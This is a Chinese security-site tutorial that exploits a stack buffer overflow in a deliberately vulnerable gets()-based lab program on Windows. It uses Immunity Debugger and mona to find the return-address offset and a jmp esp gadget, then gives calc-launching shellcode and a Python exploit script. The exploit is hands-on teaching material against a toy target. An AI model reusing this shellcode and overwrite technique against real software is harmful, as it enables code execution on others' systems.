freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

缓冲区溢出实战教程系列(五):覆盖返回地址实现计算器调用
2019-07-03 10:00:28

之前已经大致讲了一个简单程序运行的全过程,今天就给大家展示一下利用缓冲区溢出是如何达到调用系统程序的效果的。

0x00 实验环境

windos10 家庭中文版

mingw-win64

下载地址: https://sourceforge.net/projects/mingw-w64/

immunity debugger

下载地址: http://www.immunityinc.com/products/debugger/index.html

mona.py

下载地址:https://github.com/corelan/mona

sublime  text 3.2.1

0x01 实验文件echo.c

#include <stdio.h>

int main()

{

    char buf[50];

    printf("this is just a test: ");

    gets(buf);

    printf("Hello %s\n",buf);  

    return 0;

}

0x02 安装mingw并编译echo源文件

mingw安装跟一般的软件安装没有区别,这里不做过多解释,下面是我安装过后的目录:

1.png

关于mingw的重点是添加环境变量,我们要把mingw32下的bin目录添加到环境变量中去。

我喜欢在命令行下设置,命令为setx path "%path%;D:\ProgramTools\cpp\mingw\mingw32\bin"。注意%path%;后面加的是你自己bin目录的地址。2.png

接下来我们就要编译我哦们的源文件了,先切换到源文件所在的目录,再执行命令gcc -m32 echo.c -o echo.exe,看一下目录,我们的文件就生成了。

3.png

我们执行一下看看,我们已经能正常打印输入的内容了。

4.png

0x03 缓冲区溢出

上面我们已经看到了,当我们输入不超过缓冲区长度的字符串时,打印是正常的,那如果我们输入超长的字符串会怎么样呢,让我们试验一下。

5.png

如上图所示,我第一次虽然输入了超长得到字符串,但仍然能够正常打印;第二次在我输入了更长的字符串后就无法正常输出了。因为这是在win10系统下,所以并没有报错,如果实在其他系统中会出现缓冲区溢出的报错,并给出错误地址。虽然没有报错但不代表没有出现缓冲区溢出,只不过没其他系统看的明显而已。

0x04 用immunity调试并观察正常与溢出的区别

今天用immunity为大家演示,虽然是新的调试工具,不过大家不用怕,有了之前OD的基础用immunity就不会有什么大问题。

这里我们把下载的mona插件拷贝到pyCommon文件夹下,然后在左下角的命令行里输入!mona config -set workingfolder D:\ProgramTools\cpp\Immunity Debugger\mona\%p文件夹路径自己随便写。

我们先打开immunity并加载ehco.exe,如下图所示:

6.png

点击三角符号或者按F9让程序继续运行,我们输入wooder,运行完成之后跟正常程序没有区别。

7.png

接下来我们开始输入一个超长的字符串,看看程序是怎么样的。

8.png

我们可以看到现在的EIP指向了0x78787878的位置,因为我们的输入覆盖了之前的返回地址,而78正好是ASCII码中的X,所以当我们输入超出了我们缓冲区的时候,就会导致返回到无效地址。那么接下来我们的任务就是定位返回地址的位置了。

0x05 定位返回地址位置

这次我们要利用mona提供的生成随机字符串的功能来进行定位,当然我们可以自己动手进行字符串的编写,这里呢我选择利用现有的工具。在右下角命令行输入!mona pc 100按enter,就会看到如下界面:

9.png

这时候我们会看到我们设置好的mona文件夹下多了一个echo文件夹,点进去有一个pattern.txt的文件,我们把文件中生成的字符串拷贝一下。如下图所示:

10.png

现在我们重新加载echo.exe,在弹出的程序中输入我们刚才拷贝的字符串,并按enter继续运行。会看到如下界面:

11.png

我们看到,现在EIP的值是0x31634130,我们在堆栈窗口找到这个值,所对应的位置就是返回地址的位置,我们先记录一下。

return address:0x61FEDC

如下图所示:12.png

0x06 计算达到返回地址索要填充的字符数量

mona中同样给我们提供了相应的方法,这次我们执行!mona po 31634130。在弹出框中我们看到是需要填充62个字符。如下图:13.png

0x07 查找jmp esp地址

mona中同样准备了寻找jmp esp地址的方法,命令如下:!mona jmp -r esp -m kernel.这里我们搜到了很多地址,我选择第一个地址。

jmp esp addres:75464D2C

14.png

0x08 shellcode编写

1 准备62个填充位

\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4

2 jmp esp地址75464D2C

这里要注意顺序,这个设计到大小端存储问题,这里呢我们以两个字符一组,从后往前写

\x2c\x4d\x46\x75

3 计算器程序shellcode

\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7

0x09 编写python脚本执行

创建一个xploit.py的python脚本,内容如下:

from subprocess import Popen ,PIPE

payload = b"\xc4"*62

payload += b"\x2c\x4d\x46\x75"

payload +=(b"\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

    b"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"

    b"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"

    b"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"

    b"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"

    b"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"

    b"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"

    b"\x53\x53\x53\x53\x52\x53\xff\xd7")

p = Popen(["echo.exe"],stdin=PIPE,stdout=PIPE)

p.communicate(payload)

在命令行中运行,接下来就是见证奇迹的时刻。

15.png

*本文作者:kaliking,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

# 缓冲区溢出 # 计算器调用 # 实战教程
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者